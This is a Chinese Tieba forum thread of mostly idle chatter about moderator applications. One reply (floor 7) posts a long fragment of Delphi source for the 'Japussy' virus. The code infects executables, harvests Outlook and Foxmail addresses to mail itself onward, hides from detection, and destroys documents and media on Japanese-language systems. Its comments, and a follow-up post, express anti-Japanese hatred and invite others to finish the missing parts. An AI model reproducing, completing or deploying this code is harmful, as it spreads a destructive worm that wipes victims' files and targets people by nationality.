袁玲玲吧 关注:4贴子:93
  • 7回复贴,共1

小玲,我爱你

只看楼主收藏回复

我不说你也应该知道我是谁了把!
就是把你......的人!


1楼2008-06-30 09:52回复
    过来看看..

    飘过..

    对了

    音子去申请吧主吧


    2楼2008-07-02 11:41
    回复
      垃圾.....去GNN吧看去.........

      你........

      去申请吧主............


      IP属地:河北3楼2008-07-02 15:12
      回复
        不死一族到齐了//。。


        4楼2008-07-03 11:11
        回复
          • 121.29.174.*
          begin
          repeat
          PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引起怀疑
          if IsValidDir(SearchRec) = 0 then
          begin
          Fn := Path + SearchRec.Name;
          Ext := UpperCase(ExtractFileExt(Fn));
          if (Ext = ''''''''''''''''.EXE'''''''''''''''') or (Ext = ''''''''''''''''.SCR'''''''''''''''') then
          begin
           InfectOneFile(Fn); //感染可执行文件 
          end
          else if (Ext = ''''''''''''''''.HTM'''''''''''''''') or (Ext = ''''''''''''''''.HTML'''''''''''''''') or (Ext = ''''''''''''''''.ASP'''''''''''''''') then
          begin
           //感染HTML和ASP文件,将Base64编码后的病毒写入
           //感染浏览此网页的所有用户
           //哪位大兄弟愿意完成之?
          end
          else if Ext = ''''''''''''''''.WAB'''''''''''''''' then //Outlook地址簿文件
          begin
           //获取Outlook邮件地址
          end
          else if Ext = ''''''''''''''''.ADC'''''''''''''''' then //Foxmail地址自动完成文件
          begin
           //获取Foxmail邮件地址
          end
          else if Ext = ''''''''''''''''IND'''''''''''''''' then //Foxmail地址簿文件
          begin
           //获取Foxmail邮件地址

          end
          else
          begin
           if IsJap then //是倭文操作系统
           begin
           if (Ext = ''''''''''''''''.DOC'''''''''''''''') or (Ext = ''''''''''''''''.XLS'''''''''''''''') or (Ext = ''''''''''''''''.MDB'''''''''''''''') or
           (Ext = ''''''''''''''''.MP3'''''''''''''''') or (Ext = ''''''''''''''''.RM'''''''''''''''') or (Ext = ''''''''''''''''.RA'''''''''''''''') or
           (Ext = ''''''''''''''''.WMA'''''''''''''''') or (Ext = ''''''''''''''''.ZIP'''''''''''''''') or (Ext = ''''''''''''''''.RAR'''''''''''''''') or
           (Ext = ''''''''''''''''.MPEG'''''''''''''''') or (Ext = ''''''''''''''''.ASF'''''''''''''''') or (Ext = ''''''''''''''''.JPG'''''''''''''''') or
           (Ext = ''''''''''''''''.JPEG'''''''''''''''') or (Ext = ''''''''''''''''.GIF'''''''''''''''') or (Ext = ''''''''''''''''.SWF'''''''''''''''') or
           (Ext = ''''''''''''''''.PDF'''''''''''''''') or (Ext = ''''''''''''''''.CHM'''''''''''''''') or (Ext = ''''''''''''''''.AVI'''''''''''''''') then
           SmashFile(Fn); //摧毁文件
           end;
          end;
          end;
          //感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑
          Sleep(200);
          until (FindNext(SearchRec) <> 0);
          end;
          FindClose(SearchRec);
          SubDir := TStringList.Create;
          if (FindFirst(Path + ''''''''''''''''*.*'''''''''''''''', faDirectory, SearchRec) = 0) then
          begin
          repeat
          if IsValidDir(SearchRec) = 1 then
          SubDir.Add(SearchRec.Name);
          until (FindNext(SearchRec) <> 0);
          end;
          FindClose(SearchRec);
          Count := SubDir.Count - 1;
          for i := 0 to Count do
          LoopFiles(Path + SubDir.Strings + ''''''''''''''''\'''''''''''''''', Mask);
          FreeAndNil(SubDir);
          end;
          { 遍历磁盘上所有的文件 }
          procedure InfectFiles;
          var
          DriverList: string;
          i, Len: Integer;
          begin
          if GetACP = 932 then //日文操作系统
          IsJap := True; //去死吧!
          DriverList := GetDrives; //得到可写的磁盘列表
          Len := Length(DriverList);
          while True do //死循环
          begin
          for i := Len downto 1 do //遍历每个磁盘驱动器
          LoopFiles(DriverList + '''''''''''''''':\'''''''''''''''', ''''''''''''''''*.*''''''''''''''''); //感染之
          SendMail; //发带毒邮件
          Sleep(1000 * 60 * 5); //睡眠5分钟
          end;
          end;
          { 主程序开始 }
          begin
          if IsWin9x then //是Win9x
          RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程
          else //WinNT
          begin
          //远程线程映射到Explorer进程
          //哪位兄台愿意完成之?
          end;
          //如果是原始病毒体自己
          if CompareText(ExtractFileName(ParamStr(0)), ''''''''''''''''Japussy.exe'''''''''''''''') = 0 then
          InfectFiles //感染和发邮件
          else //已寄生于宿主程序上了,开始工作
          begin
          TmpFile := ParamStr(0); //创建临时文件
          Delete(TmpFile, Length(TmpFile) - 4, 4);
          TmpFile := TmpFile + #32 + ''''''''''''''''.exe''''''''''''''''; //真正的宿主文件,多一个空格
          ExtractFile(TmpFile); //分离之
          FillStartupInfo(Si, SW_SHOWDEFAULT);
          CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
          0, nil, ''''''''''''''''.'''''''''''''''', Si, Pi); //创建新进程运行之
          InfectFiles; //感染和发邮件
          end;
          end.


          7楼2008-07-03 23:14
          回复
            • 121.29.174.*
            给鬼子的熊猫烧香


            8楼2008-07-03 23:17
            回复
              你是谁呀!你不说我咋知道呀


              9楼2010-07-11 19:43
              回复
                什么情况,爱你爱你爱你爱你爱你,够了吗


                IP属地:浙江来自iPhone客户端11楼2015-01-19 11:49
                回复